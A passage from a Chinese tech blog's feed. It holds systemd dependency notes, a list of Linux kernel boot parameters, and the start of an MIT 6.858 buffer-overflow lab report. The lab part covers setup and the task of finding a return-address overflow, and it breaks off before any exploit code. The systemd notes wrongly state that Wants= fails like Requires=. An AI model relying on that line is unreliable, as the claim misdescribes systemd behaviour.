&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;longchang&#x2F;p&#x2F;10985352.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;longchang&#x2F;p&#x2F;10985352.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;yi-lai-guan-xi-he-qian-hou-shun-xu&quot;&gt;依赖关系和前后顺序&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;依赖关系:Requires和Wants&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;前后顺序:After，Before&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;依赖关系，前后顺序是比较容易混淆的，当使用Requires和Wants的时候，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果不搭配After，Before使用，比如:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;unit A Requires unit B, 那么A和B会一起启动，如果B失败了，A也就失败了，只有B成功了，A才能成功；&lt;&#x2F;p&gt;
&lt;p&gt;unit A Wants unit B, 那么A和B会一起启动，如果B失败了，A也就失败了，只有B成功了，A才能成功；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;建议搭配After，Before使用,比如:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;unit A Requires unit B, 那么同时最好unit A中写上：After=B&lt;&#x2F;p&gt;
&lt;h3 id=&quot;unitchu-li-yi-lai-guan-xi-requireshe-wantsde-qu-bie&quot;&gt;unit处理依赖关系:Requires和Wants的区别？&lt;&#x2F;h3&gt;
&lt;p&gt;使用systemd时，可通过正确编写单元配置文件来解决其依赖关系。典型的情况是，单元A要求单元B在A启动之前运行。在此情况下，向单元A配置文件中的 [Unit] 段添加 Requires=B 和 After=B 即可。若此依赖关系是可选的，可添加 Wants=B 和 After=B。请注意 Wants= 和Requires= 并不意味着 After=，即如果 After= 选项没有制定，这两个单元将被并行启动。
依赖关系通常被用在服务（service）而不是目标（target）上。例如， network.target 一般会被某个配置网络接口的服务引入，所以，将自定义的单元排在该服务之后即可，因为 network.target 已经启动。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;unitwen-jian-zhong-fu-wu-lei-xing-type-can-shu&quot;&gt;unit文件中，服务类型: Type= 参数&lt;&#x2F;h3&gt;
&lt;p&gt;编写自定义的 service 文件时，可以选择几种不同的服务启动方式。启动方式可通过配置文件 [Service] 段中的 Type= 参数进行设置。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Type=simple（默认值）：systemd认为该服务将立即启动。服务进程不会fork。如果该服务要启动其他服务，不要使用此类型启动，除非该服务是socket激活型。&lt;&#x2F;li&gt;
&lt;li&gt;Type=forking：systemd认为当该服务进程fork，且父进程退出后服务启动成功。对于常规的守护进程（daemon），除非你确定此启动方式无法满足需求，使用此类型启动即可。使用此启动类型应同时指定 PIDFile=，以便systemd能够跟踪服务的主进程。&lt;&#x2F;li&gt;
&lt;li&gt;Type=oneshot：这一选项适用于只执行一项任务、随后立即退出的服务。可能需要同时设置 RemainAfterExit=yes 使得 systemd 在服务进程退出之后仍然认为服务处于激活状态。&lt;&#x2F;li&gt;
&lt;li&gt;Type=notify：与 Type=simple 相同，但约定服务会在就绪后向 systemd 发送一个信号。这一通知的实现由 libsystemd-daemon.so 提供。&lt;&#x2F;li&gt;
&lt;li&gt;Type=dbus：若以此方式启动，当指定的 BusName 出现在DBus系统总线上时，systemd认为服务就绪。&lt;&#x2F;li&gt;
&lt;li&gt;Type=idle: systemd会等待所有任务处理完成后，才开始执行idle类型的单元。其他行为和Type=simple 类似。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux内核启动参数</title>
        <published>2024-06-15T00:00:00+00:00</published>
        <updated>2024-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux内核启动参数/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux内核启动参数/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux内核启动参数/">&lt;h1 id=&quot;linuxnei-he-qi-dong-can-shu&quot;&gt;linux内核启动参数&lt;&#x2F;h1&gt;
&lt;p&gt;前言&lt;&#x2F;p&gt;
&lt;p&gt;显卡问题&lt;&#x2F;p&gt;
&lt;p&gt;一、modeset （KMS：kernel mode set)&lt;&#x2F;p&gt;
&lt;p&gt;二、动态模块（.ko）&lt;&#x2F;p&gt;
&lt;p&gt;三、initramfs&lt;&#x2F;p&gt;
&lt;p&gt;四、内核引导参数的使用方法&lt;&#x2F;p&gt;
&lt;p&gt;参考&lt;&#x2F;p&gt;
&lt;p&gt;linux 启动问题，安装问题，驱动问题，是很多linux用户特别烦恼的。但事实上，有补救的方法，那就是通过修改内核启动参数，兼容不同硬件环境下，以求进入系统进行下一步操作。&lt;&#x2F;p&gt;
&lt;p&gt;这是一个新型的显示模式，即内核在启动阶段调用更先进的图形显示技术，以达到更好的显示效果。&lt;strong&gt;副作用就是兼容性低&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;可以设置&lt;code&gt;nomodeset&lt;&#x2F;code&gt; 或者&lt;code&gt;modeset=0&lt;&#x2F;code&gt;关闭这项功能，至少保证进入字符界面。&lt;&#x2F;li&gt;
&lt;li&gt;更进阶一点的写法是：&lt;code&gt;i915.modeset=0&lt;&#x2F;code&gt;,其中i915是intel的显示驱动，该命令可以单独关闭该驱动的KMS。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;很多视频驱动都是以动态模块的方式链接到内核的，内核在启动过程中会加载这些驱动。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;modprobe.blacklist=nouveau&lt;&#x2F;code&gt; 就禁止加载该模块，这可以屏蔽有问题的驱动程序。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;那么究竟有多少个显卡驱动，他们叫什么名字？&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;nvidia&lt;&#x2F;code&gt; ： &#x2F;lib&#x2F;modules&#x2F;4.15.0-30deepin-generic&#x2F;kernel&#x2F;drivers&#x2F;video&#x2F;nvidia.ko ，nvidia官方驱动，性能棒棒的，不过默认没有安装，要自己装，对一般用户是一个挑战&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;nvidiafb&lt;&#x2F;code&gt; ： &#x2F;lib&#x2F;modules&#x2F;4.15.0-30deepin-generic&#x2F;kernel&#x2F;drivers&#x2F;video&#x2F;fbdev&#x2F;nvidia&#x2F;nvidiafb.ko ，一个老式的驱动，估计性能很差，兼容性如何还不清楚，因为我没用过。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;nvidia_drm&lt;&#x2F;code&gt; ： &#x2F;lib&#x2F;modules&#x2F;4.15.0-30deepin-generic&#x2F;kernel&#x2F;drivers&#x2F;video&#x2F;nvidia-drm.ko ，DRM是“直接渲染管理器”的缩写，是一个替代“fb帧缓冲区”的现代版本，包括“GEM图形执行管理器”和“KMS内核模式设置”技术。其作用就是更好的协作多应用和多GPU。其中多GPU技术类似&quot;Nvidia Optimus&quot;，称为&quot;prime&quot;。好吧，说到底就是nvidia驱动组成的一部分。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;nouveau&lt;&#x2F;code&gt; ： 可以理解为nvidia的第三方开源驱动，因为是第三方，所以兼容性差，性能低。因为是开源，和linux的适配度高，喜忧参半的一款驱动，也是nvidia显卡在linux的默认驱动。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;i915&lt;&#x2F;code&gt; ： intel的官方驱动。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;radeon&lt;&#x2F;code&gt; : 旧的amd显卡设备的开源驱动&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;amdgpu&lt;&#x2F;code&gt; : 新的amd显卡设备的开源驱动&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;amdgpu-pro&lt;&#x2F;code&gt; ： 官方闭源驱动&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;initramfs 是linux的一个纯净的启动映像环境，简而言之就是制作一个内存中的启动硬盘。&lt;&#x2F;p&gt;
&lt;p&gt;linux系统大多数通过grub来引导，即开机出现的引导菜单。出现菜单读秒时，按e进入编辑状态，按F10执行编辑后的菜单。&lt;&#x2F;p&gt;
&lt;p&gt;找到&lt;code&gt;linux&lt;&#x2F;code&gt;开始的一行，该行格式一般如下：&lt;&#x2F;p&gt;
&lt;p&gt;翻译过来就是：&lt;&#x2F;p&gt;
&lt;p&gt;“引导linux 内核文件 启动分区 内核参数”&lt;&#x2F;p&gt;
&lt;p&gt;我们要修改的就是内核参数部分。&lt;&#x2F;p&gt;
&lt;p&gt;参数格式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;模块名.参数=值&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;modprobe&lt;&#x2F;code&gt; 动态模块名 参数=值&lt;&#x2F;li&gt;
&lt;li&gt;参数&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;获取参数的方法：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&#x2F;sys&#x2F;module&#x2F;模块名&#x2F;parameters&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;proc&#x2F;cmdline&lt;&#x2F;code&gt; 启动参数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;modinfo -p 模块名&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;常用模块：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ACPI&lt;&#x2F;code&gt; 高级电源配置接口&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;APIC&lt;&#x2F;code&gt; 高级可编程中断控制器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;DRM&lt;&#x2F;code&gt;  直接渲染管理器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;FB&lt;&#x2F;code&gt;   帧缓冲&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;IOMMU&lt;&#x2F;code&gt;   设备内存相关&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;KVM&lt;&#x2F;code&gt;  虚拟机&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;LOOP&lt;&#x2F;code&gt; 回环设备&lt;&#x2F;li&gt;
&lt;li&gt;显卡驱动：&lt;code&gt;i915&lt;&#x2F;code&gt;、&lt;code&gt;nvidia&lt;&#x2F;code&gt;、&lt;code&gt;nouveau&lt;&#x2F;code&gt;等&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;常用参数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;quiet&lt;&#x2F;code&gt; 安静模式&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;debug&lt;&#x2F;code&gt; 详细信息&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;memtest=1&lt;&#x2F;code&gt; 测试一次内存&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;erst_disable&lt;&#x2F;code&gt; 解决ERST故障&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hest_disable&lt;&#x2F;code&gt; 解决HEST故障&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;nosoftlockup&lt;&#x2F;code&gt;  禁止软死锁检测&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;nowatchdog&lt;&#x2F;code&gt;  禁止硬死锁检测&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;noapic&lt;&#x2F;code&gt; 禁止IO-APIC输入输出高级可编程中断控制器&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;nolapic&lt;&#x2F;code&gt; 禁止cpu-apci&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;acpi=off&lt;&#x2F;code&gt; 禁止acpi高级电源配置接口&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;acpi=strict&lt;&#x2F;code&gt; 严格的acpi&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;acpi_backlight=vendor&lt;&#x2F;code&gt; 使用厂家的屏幕亮度调节器&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;acpi_os_name=\&quot;Linux\&quot;&lt;&#x2F;code&gt; 告知acpi系统名称，欺骗有问题的BIOS。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;\&quot;Windows 2001\&quot;&lt;&#x2F;code&gt; xp&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;\&quot;Windows 2006\&quot;&lt;&#x2F;code&gt; vista&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;\&quot;Windows 2009\&quot;&lt;&#x2F;code&gt; win7&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;\&quot;Windows 2012\&quot;&lt;&#x2F;code&gt; win8&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;\&quot;Windows 2013\&quot;&lt;&#x2F;code&gt; win8.1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;acpi_osi=&quot;Linux&quot;&lt;&#x2F;code&gt; 添加字符串&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;acpi_osi=!&lt;&#x2F;code&gt; 删除所有字符串&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pnpacpi=off&lt;&#x2F;code&gt; 关闭acpi的即插即用功能&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;resume=&#x2F;dev&#x2F;swap&lt;&#x2F;code&gt; 休眠启动的分区&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;resume_offset=xxx&lt;&#x2F;code&gt; 休眠文件的偏移量&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;resumedelay=6&lt;&#x2F;code&gt; 等待5秒启动休眠设备&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;resumewait&lt;&#x2F;code&gt; 等待直到休眠设备准备好&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;kvm-amd.nested=0&lt;&#x2F;code&gt; 关闭amd cpu的嵌套虚拟化&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;root=xxx&lt;&#x2F;code&gt; 启动设备或文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rootfstype=xxx&lt;&#x2F;code&gt;  启动设备的文件系统类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rotflags=xxx&lt;&#x2F;code&gt; 挂载选项&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ro&lt;&#x2F;code&gt; 只读&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rw&lt;&#x2F;code&gt; 读写&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;init=路径&lt;&#x2F;code&gt; 启动程序&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rdinit=路径&lt;&#x2F;code&gt;  内存盘中的启动程序&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;nomodule&lt;&#x2F;code&gt; 禁用内核模块加载&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;3&lt;&#x2F;code&gt; 启动命令行和非图形界面&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;splash&lt;&#x2F;code&gt; 启动画面&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;Linux 内核引导参数简介: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;wangjuneng&#x2F;p&#x2F;4510082.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;wangjuneng&#x2F;p&#x2F;4510082.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>MIT 6.858 Computer Systems Security - Lab 1 实验报告</title>
        <published>2024-06-15T00:00:00+00:00</published>
        <updated>2024-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/mit-6.858-computer-systems-security-lab-1-实验报告/"/>
        <id>https://vercel.juzhong.asia/obsidian/mit-6.858-computer-systems-security-lab-1-实验报告/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/mit-6.858-computer-systems-security-lab-1-实验报告/">&lt;h1 id=&quot;mit-6-858-computer-systems-security-lab-1-shi-yan-bao-gao&quot;&gt;MIT 6.858 Computer Systems Security - Lab 1 实验报告&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;0x00-yi-qie-kai-shi-zhi-qian&quot;&gt;&lt;strong&gt;0x00. 一切开始之前&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;css.csail.mit.edu&#x2F;6.858&#x2F;2022&#x2F;&quot;&gt;MIT 6.858&lt;&#x2F;a&gt; 是面向高年级本科生与研究生开设的一门关于&lt;strong&gt;计算机系统安全&lt;&#x2F;strong&gt;（secure computer security）的课程，内容包括威胁模型（threat models）、危害安全的攻击（attacks that compromise security）、实现安全的技术（techniques for achieving security），在 YouTube 上有&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.youtube.com&#x2F;playlist%3Flist%3DPLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&quot;&gt;往年的课程回放&lt;&#x2F;a&gt;，配有英文字幕&lt;&#x2F;p&gt;
&lt;p&gt;这个课程一共有五个 Lab：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Lab1：缓冲区溢出（buffer overflow）&lt;&#x2F;li&gt;
&lt;li&gt;Lab2：权限分离与服务侧沙箱（privilege separation and server-side sandboxing）&lt;&#x2F;li&gt;
&lt;li&gt;Lab3：符号执行（symbolic execution）&lt;&#x2F;li&gt;
&lt;li&gt;Lab4：浏览器安全（browser security）&lt;&#x2F;li&gt;
&lt;li&gt;Lab5：安全的文件系统（secure file system）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;前四个 Lab 主要是基于 MIT 开发的一个叫 &lt;code&gt;zookws&lt;&#x2F;code&gt; 的 web server 完成的&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pre-huan-jing-da-jian-shuo-ming&quot;&gt;&lt;strong&gt;Pre. 环境搭建 &amp;amp;&amp;amp; 说明&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;css.csail.mit.edu&#x2F;6.858&#x2F;2022&#x2F;labs&#x2F;lab1.html&quot;&gt;Lab 1&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;MIT 提供了一个  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;web.mit.edu&#x2F;6.858&#x2F;2022&#x2F;6.858-x86_64-v22.zip&quot;&gt;course VM image&lt;&#x2F;a&gt; ，其中有着一个 Ubuntu 21.10 的系统，登录的用户名为 &lt;code&gt;student&lt;&#x2F;code&gt;，密码为 &lt;code&gt;6858&lt;&#x2F;code&gt;，下载解压后根据自身的本地环境进行对应的操作：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 KVM 运行：直接运行  &lt;strong&gt;&lt;code&gt;.&#x2F;6.858-x86_64-v22.sh&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 即可&lt;&#x2F;li&gt;
&lt;li&gt;使用 VMware运行：新建虚拟机→稍后安装操作系统→选择系统 &lt;code&gt;Linux &amp;gt; Debian 9.x 64-bit&lt;&#x2F;code&gt; →移除原有虚拟磁盘→添加新的虚拟磁盘→选择  &lt;code&gt;6.858-x86_64-v22.vmdk&lt;&#x2F;code&gt; 即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于非 X86 架构的处理器环境（如 mac）实验手册里推荐安装 qemu ，笔者就不摘抄一遍了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;mit6858-vm-environment-setup.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当然没有图形界面只有一个 tty 比较难受，所以这里还是推荐用 ssh 连上去做，因为虚拟机在本地所以直接 &lt;code&gt;ip addr show dev eth0&lt;&#x2F;code&gt; 找到 IP 后 &lt;code&gt;ssh student@YOUR_IP&lt;&#x2F;code&gt; 就行：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;ssh-login-lab-vm.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之后还是按惯例把代码拉到本地，并使用 &lt;code&gt;make&lt;&#x2F;code&gt; 构建一下 &lt;code&gt;zookws&lt;&#x2F;code&gt; 看有没有啥问题，没报错就 ok 了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ git clone https:&amp;#x2F;&amp;#x2F;web.mit.edu&amp;#x2F;6858&amp;#x2F;2022&amp;#x2F;lab.git
$ cd lab
lab$ make
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 &lt;code&gt;zookd&lt;&#x2F;code&gt; 负责接收 HTTP 请求，其由 C 编写，HTTP 相关的代码位于 &lt;code&gt;http.c&lt;&#x2F;code&gt; 中，HTTP 协议相关资料&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.garshol.priv.no&#x2F;download&#x2F;text&#x2F;http-tut.html&quot;&gt;见此处&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;zookd 有两种版本：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;zookd-exstack&lt;&#x2F;code&gt;：栈具有可执行权限&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;zookd-nxstack&lt;&#x2F;code&gt;：栈不具有可执行权限&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用以进行评分的 &lt;code&gt;zookd&lt;&#x2F;code&gt; 位于 &lt;code&gt;bin.tar.gz&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;p&gt;此外，MIT 还提供了一个用以清理环境的 &lt;code&gt;clean-env.sh&lt;&#x2F;code&gt; 脚本，用以确保每次的执行环境都是相同的，我们可以通过如下命令运行 zookd：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ .&amp;#x2F;clean-env.sh .&amp;#x2F;zookd 8080
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后我们便能在本地的 8080 端口访问到 zookd，直接进去大概会是这个样子：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;zookd-web-server-page.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x01-part-1-finding-buffer-overflows&quot;&gt;&lt;strong&gt;0x01. Part 1: Finding buffer overflows&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;首先给了一个资料：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;thesquareplanet.com&#x2F;blog&#x2F;smashing-the-stack-21st-century&#x2F;&quot;&gt;Smashing the stack in the 21st century&lt;&#x2F;a&gt;，基础薄弱的同学可以仔细看看，笔者这里直接跳过，然后是 Exercise 1：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 1.&lt;&#x2F;strong&gt;  Study the web server&#x27;s C code (in &lt;code&gt;zookd.c&lt;&#x2F;code&gt; and &lt;code&gt;http.c&lt;&#x2F;code&gt;), and find one example of code that allows an attacker to overwrite the return address of a function. Hint: look for buffers allocated on the stack. Write down a description of the vulnerability in the file &lt;code&gt;answers.txt&lt;&#x2F;code&gt;. For your vulnerability, describe the buffer which may overflow, how you would structure the input to the web server (i.e., the HTTP request) to overflow the buffer and overwrite the return address, and the call stack that will trigger the buffer overflow (i.e., the chain of function calls starting from &lt;code&gt;process_client&lt;&#x2F;code&gt;).
It is worth taking your time on this exercise and familiarizing yourself with the code, because your next job is to exploit the vulnerability you identified. In fact, you may want to go back and forth between this exercise and later exercises, as you work out the details and document them. That is, if you find a buffer overflow that you think can be exploited, you can use later exercises to figure out if it indeed can be exploited. It will be helpful to draw a stack diagram like the figures in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;thesquareplanet.com&#x2F;blog&#x2F;smashing-the-stack-21st-century&#x2F;&quot;&gt;Smashing the Stack in the 21st Century&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;大概是阅读  &lt;code&gt;zookd.c&lt;&#x2F;code&gt; 和 &lt;code&gt;http.c&lt;&#x2F;code&gt; 找漏洞，提示关注在栈上分配的 buffer，并将答案写在 &lt;code&gt;answers.txt&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;p&gt;首先看 &lt;code&gt;zookd.c&lt;&#x2F;code&gt;，源码比较简洁，核心逻辑在 &lt;code&gt;run_server()&lt;&#x2F;code&gt; 中，首先会调用 &lt;code&gt;start_server()&lt;&#x2F;code&gt; 创建一个 http 服务器，之后在 &lt;code&gt;run_server()&lt;&#x2F;code&gt; 中有一个无限循环调用 &lt;code&gt;accept()&lt;&#x2F;code&gt; 接收请求后 &lt;code&gt;fork()&lt;&#x2F;code&gt; 出子进程调用 &lt;code&gt;process_client()&lt;&#x2F;code&gt; 处理&lt;&#x2F;p&gt;
&lt;h3 id=&quot;process-client-chu-li-dan-ci-http-request&quot;&gt;&lt;strong&gt;process_client()：处理单次 HTTP request&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
